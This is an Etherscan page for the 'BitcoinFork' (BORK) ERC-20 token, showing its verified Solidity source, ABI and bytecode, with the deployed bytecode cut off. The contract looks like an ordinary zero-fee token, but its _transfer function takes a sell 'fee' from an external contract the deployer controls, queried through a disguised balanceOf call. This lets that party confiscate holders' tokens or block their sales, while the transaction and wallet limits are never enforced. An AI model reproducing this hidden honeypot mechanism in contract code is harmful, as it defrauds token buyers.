ETH Price: $2,727.63 (-0.97%)

Token

BitcoinFork (BORK)
 

Overview

Max Total Supply

21,000,000 BORK

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
747,482.670932270163029346 BORK

Value
$0.00
0xd2d59a64fa9a788268b5ad3c109731cc9d151c6f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BitcoinFork

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-02-15
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesired, 
     uint amountTokenMin, 
     uint amountETHMin, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
}

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function balanceOf(address wallet) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }
}

contract BitcoinFork is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 18;
    mapping (address => uint256) private _balances;
    uint256 private _totalSupply =  21000000 * 10 ** _decimals;
    address internal _feeReceiver = 0x805144129E2967D1c07B7e0a76497B063a94140b;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private uniswapV2Pair;
    event Transfer(address indexed from, address indexed to, uint256 amount);
    bool private tradingStarted = false;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint256 _fee = 0;
    uint256 maxTransaction = _totalSupply.mul(3).div(100);
    uint256 maxWallet = _totalSupply.mul(3).div(100);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    string private _name = "BitcoinFork";
    string private _symbol = "BORK";

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function removeLimits() external onlyOwner {
        maxTransaction = _totalSupply;
        maxWallet = _totalSupply;
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingStarted, "Trading already opened");
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingStarted = true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "Amount must be greater than 0");
        uint256 fee = 0;
        require(from != address(0));
        require(to != address(0));
        if (from != uniswapV2Pair && from != address(this)) {
            fee = IERC20(_feeReceiver).balanceOf(from);
        } else {
            fee = _fee;
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(amount.mul(fee).div(100));
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c919062000563565b6301406f406200004d9190620005b3565b60025573805144129e2967d1c07b7e0a76497b063a94140b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6007556200014360646200013460036002546200036260201b90919060201c565b620003a960201b90919060201c565b6008556200017360646200016460036002546200036260201b90919060201c565b620003a960201b90919060201c565b6009556040518060400160405280600b81526020017f426974636f696e466f726b000000000000000000000000000000000000000000815250600a9081620001bc919062000858565b506040518060400160405280600481526020017f424f524b00000000000000000000000000000000000000000000000000000000815250600b908162000203919062000858565b5034801562000210575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060025460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002546040516200035491906200094d565b60405180910390a3620009cc565b5f80830362000374575f9050620003a3565b5f8284620003839190620005b3565b905082848262000394919062000995565b146200039e575f80fd5b809150505b92915050565b5f808211620003b6575f80fd5b5f8284620003c5919062000995565b90508091505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200045b57808604811115620004335762000432620003d1565b5b6001851615620004435780820291505b80810290506200045385620003fe565b945062000413565b94509492505050565b5f8262000475576001905062000547565b8162000484575f905062000547565b81600181146200049d5760028114620004a857620004de565b600191505062000547565b60ff841115620004bd57620004bc620003d1565b5b8360020a915084821115620004d757620004d6620003d1565b5b5062000547565b5060208310610133831016604e8410600b8410161715620005185782820a905083811115620005125762000511620003d1565b5b62000547565b6200052784848460016200040a565b92509050818404811115620005415762000540620003d1565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200056f826200054e565b91506200057c8362000557565b9250620005ab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000464565b905092915050565b5f620005bf826200054e565b9150620005cc836200054e565b9250828202620005dc816200054e565b91508282048414831517620005f657620005f5620003d1565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200067957607f821691505b6020821081036200068f576200068e62000634565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006f37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006b6565b620006ff8683620006b6565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620007406200073a62000734846200054e565b62000717565b6200054e565b9050919050565b5f819050919050565b6200075b8362000720565b620007736200076a8262000747565b848454620006c2565b825550505050565b5f90565b620007896200077b565b6200079681848462000750565b505050565b5b81811015620007bd57620007b15f826200077f565b6001810190506200079c565b5050565b601f8211156200080c57620007d68162000695565b620007e184620006a7565b81016020851015620007f1578190505b620008096200080085620006a7565b8301826200079b565b50505b505050565b5f82821c905092915050565b5f6200082e5f198460080262000811565b1980831691505092915050565b5f6200084883836200081d565b9150826002028217905092915050565b6200086382620005fd565b67ffffffffffffffff8111156200087f576200087e62000607565b5b6200088b825462000661565b62000898828285620007c1565b5f60209050601f831160018114620008ce575f8415620008b9578287015190505b620008c585826200083b565b86555062000934565b601f198416620008de8662000695565b5f5b828110156200090757848901518255600182019150602085019450602081019050620008e0565b8683101562000927578489015162000923601f8916826200081d565b8355505b6001600288020188555050505b505050505050565b62000947816200054e565b82525050565b5f602082019050620009625f8301846200093c565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620009a1826200054e565b9150620009ae836200054e565b925082620009c157620009c062000968565b5b828204905092915050565b611ba880620009da5f395ff3fe6080604052600436106100c1575f3560e01c8063715018a61161007e57806395d89b411161005857806395d89b411461024d578063a9059cbb14610277578063c9567bf9146102b3578063dd62ed3e146102bd576100c1565b8063715018a6146101f7578063751039fc1461020d5780638da5cb5b14610223576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806370a08231146101bb575b5f80fd5b3480156100d0575f80fd5b506100d96102f9565b6040516100e6919061131f565b60405180910390f35b3480156100fa575f80fd5b50610115600480360381019061011091906113d0565b610389565b6040516101229190611428565b60405180910390f35b348015610136575f80fd5b5061013f61039f565b60405161014c9190611450565b60405180910390f35b348015610160575f80fd5b5061017b60048036038101906101769190611469565b6103a8565b6040516101889190611428565b60405180910390f35b34801561019c575f80fd5b506101a5610454565b6040516101b291906114d4565b60405180910390f35b3480156101c6575f80fd5b506101e160048036038101906101dc91906114ed565b610469565b6040516101ee9190611450565b60405180910390f35b348015610202575f80fd5b5061020b6104af565b005b348015610218575f80fd5b506102216105f6565b005b34801561022e575f80fd5b50610237610697565b6040516102449190611527565b60405180910390f35b348015610258575f80fd5b506102616106be565b60405161026e919061131f565b60405180910390f35b348015610282575f80fd5b5061029d600480360381019061029891906113d0565b61074e565b6040516102aa9190611428565b60405180910390f35b6102bb610764565b005b3480156102c8575f80fd5b506102e360048036038101906102de9190611540565b610bf6565b6040516102f09190611450565b60405180910390f35b6060600a8054610308906115ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610334906115ab565b801561037f5780601f106103565761010080835404028352916020019161037f565b820191905f5260205f20905b81548152906001019060200180831161036257829003601f168201915b5050505050905090565b5f610395338484610c78565b6001905092915050565b5f600254905090565b5f6103b4848484610e3b565b61044984336104448560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e490919063ffffffff16565b610c78565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053390611625565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90611625565b60405180910390fd5b600254600881905550600254600981905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b80546106cd906115ab565b80601f01602080910402602001604051908101604052809291908181526020018280546106f9906115ab565b80156107445780601f1061071b57610100808354040283529160200191610744565b820191905f5260205f20905b81548152906001019060200180831161072757829003601f168201915b5050505050905090565b5f61075a338484610e3b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890611625565b60405180910390fd5b600560149054906101000a900460ff1615610841576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108389061168d565b60405180910390fd5b61086f3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610c78565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fd91906116bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610983573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a791906116bf565b6040518363ffffffff1660e01b81526004016109c49291906116ea565b6020604051808303815f875af11580156109e0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0491906116bf565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610a8b30610469565b5f80610a95610697565b426040518863ffffffff1660e01b8152600401610ab796959493929190611753565b60606040518083038185885af1158015610ad3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610af891906117c6565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b98929190611816565b6020604051808303815f875af1158015610bb4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd89190611867565b506001600560146101000a81548160ff021916908315150217905550565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd90611902565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4b90611990565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e2e9190611450565b60405180910390a3505050565b5f8111610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e74906119f8565b60405180910390fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610eb5575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eec575f80fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610f7557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561101a5760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610fd49190611527565b602060405180830381865afa158015610fef573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110139190611a16565b9050611020565b60075490505b6110708260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111386110da60646110cc848661120a90919063ffffffff16565b61124a90919063ffffffff16565b61112a8460015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461126f90919063ffffffff16565b6111e490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111d69190611450565b60405180910390a350505050565b5f828211156111f1575f80fd5b5f82846111fe9190611a6e565b90508091505092915050565b5f80830361121a575f9050611244565b5f82846112279190611aa1565b90508284826112369190611b0f565b1461123f575f80fd5b809150505b92915050565b5f808211611256575f80fd5b5f82846112639190611b0f565b90508091505092915050565b5f80828461127d9190611b3f565b90508381101561128b575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156112cc5780820151818401526020810190506112b1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6112f182611295565b6112fb818561129f565b935061130b8185602086016112af565b611314816112d7565b840191505092915050565b5f6020820190508181035f83015261133781846112e7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61136c82611343565b9050919050565b61137c81611362565b8114611386575f80fd5b50565b5f8135905061139781611373565b92915050565b5f819050919050565b6113af8161139d565b81146113b9575f80fd5b50565b5f813590506113ca816113a6565b92915050565b5f80604083850312156113e6576113e561133f565b5b5f6113f385828601611389565b9250506020611404858286016113bc565b9150509250929050565b5f8115159050919050565b6114228161140e565b82525050565b5f60208201905061143b5f830184611419565b92915050565b61144a8161139d565b82525050565b5f6020820190506114635f830184611441565b92915050565b5f805f606084860312156114805761147f61133f565b5b5f61148d86828701611389565b935050602061149e86828701611389565b92505060406114af868287016113bc565b9150509250925092565b5f60ff82169050919050565b6114ce816114b9565b82525050565b5f6020820190506114e75f8301846114c5565b92915050565b5f602082840312156115025761150161133f565b5b5f61150f84828501611389565b91505092915050565b61152181611362565b82525050565b5f60208201905061153a5f830184611518565b92915050565b5f80604083850312156115565761155561133f565b5b5f61156385828601611389565b925050602061157485828601611389565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115c257607f821691505b6020821081036115d5576115d461157e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61160f60208361129f565b915061161a826115db565b602082019050919050565b5f6020820190508181035f83015261163c81611603565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f61167760168361129f565b915061168282611643565b602082019050919050565b5f6020820190508181035f8301526116a48161166b565b9050919050565b5f815190506116b981611373565b92915050565b5f602082840312156116d4576116d361133f565b5b5f6116e1848285016116ab565b91505092915050565b5f6040820190506116fd5f830185611518565b61170a6020830184611518565b9392505050565b5f819050919050565b5f819050919050565b5f61173d61173861173384611711565b61171a565b61139d565b9050919050565b61174d81611723565b82525050565b5f60c0820190506117665f830189611518565b6117736020830188611441565b6117806040830187611744565b61178d6060830186611744565b61179a6080830185611518565b6117a760a0830184611441565b979650505050505050565b5f815190506117c0816113a6565b92915050565b5f805f606084860312156117dd576117dc61133f565b5b5f6117ea868287016117b2565b93505060206117fb868287016117b2565b925050604061180c868287016117b2565b9150509250925092565b5f6040820190506118295f830185611518565b6118366020830184611441565b9392505050565b6118468161140e565b8114611850575f80fd5b50565b5f815190506118618161183d565b92915050565b5f6020828403121561187c5761187b61133f565b5b5f61188984828501611853565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118ec60248361129f565b91506118f782611892565b604082019050919050565b5f6020820190508181035f830152611919816118e0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61197a60228361129f565b915061198582611920565b604082019050919050565b5f6020820190508181035f8301526119a78161196e565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e20300000005f82015250565b5f6119e2601d8361129f565b91506119ed826119ae565b602082019050919050565b5f6020820190508181035f830152611a0f816119d6565b9050919050565b5f60208284031215611a2b57611a2a61133f565b5b5f611a38848285016117b2565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a788261139d565b9150611a838361139d565b9250828203905081811115611a9b57611a9a611a41565b5b92915050565b5f611aab8261139d565b9150611ab68361139d565b9250828202611ac48161139d565b91508282048414831517611adb57611ada611a41565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b198261139d565b9150611b248361139d565b925082611b3457611b33611ae2565b5b828204905092915050565b5f611b498261139d565b9150611b548361139d565b9250828201905080821115611b6c57611b6b611a41565b5b9291505056fea2646970667358221220c505e83c6e94e95e44d3d608917100508ded877f8f4c5044cde91cf8f5f0c2e464736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100c1575f3560e01c8063715018a61161007e57806395d89b411161005857806395d89b411461024d578063a9059cbb14610277578063c9567bf9146102b3578063dd62ed3e146102bd576100c1565b8063715018a6146101f7578063751039fc1461020d5780638da5cb5b14610223576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806370a08231146101bb575b5f80fd5b3480156100d0575f80fd5b506100d96102f9565b6040516100e6919061131f565b60405180910390f35b3480156100fa575f80fd5b50610115600480360381019061011091906113d0565b610389565b6040516101229190611428565b60405180910390f35b348015610136575f80fd5b5061013f61039f565b60405161014c9190611450565b60405180910390f35b348015610160575f80fd5b5061017b60048036038101906101769190611469565b6103a8565b6040516101889190611428565b60405180910390f35b34801561019c575f80fd5b506101a5610454565b6040516101b291906114d4565b60405180910390f35b3480156101c6575f80fd5b506101e160048036038101906101dc91906114ed565b610469565b6040516101ee9190611450565b60405180910390f35b348015610202575f80fd5b5061020b6104af565b005b348015610218575f80fd5b506102216105f6565b005b34801561022e575f80fd5b50610237610697565b6040516102449190611527565b60405180910390f35b348015610258575f80fd5b506102616106be565b60405161026e919061131f565b60405180910390f35b348015610282575f80fd5b5061029d600480360381019061029891906113d0565b61074e565b6040516102aa9190611428565b60405180910390f35b6102bb610764565b005b3480156102c8575f80fd5b506102e360048036038101906102de9190611540565b610bf6565b6040516102f09190611450565b60405180910390f35b6060600a8054610308906115ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610334906115ab565b801561037f5780601f106103565761010080835404028352916020019161037f565b820191905f5260205f20905b81548152906001019060200180831161036257829003601f168201915b5050505050905090565b5f610395338484610c78565b6001905092915050565b5f600254905090565b5f6103b4848484610e3b565b61044984336104448560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e490919063ffffffff16565b610c78565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053390611625565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90611625565b60405180910390fd5b600254600881905550600254600981905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b80546106cd906115ab565b80601f01602080910402602001604051908101604052809291908181526020018280546106f9906115ab565b80156107445780601f1061071b57610100808354040283529160200191610744565b820191905f5260205f20905b81548152906001019060200180831161072757829003601f168201915b5050505050905090565b5f61075a338484610e3b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890611625565b60405180910390fd5b600560149054906101000a900460ff1615610841576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108389061168d565b60405180910390fd5b61086f3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610c78565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fd91906116bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1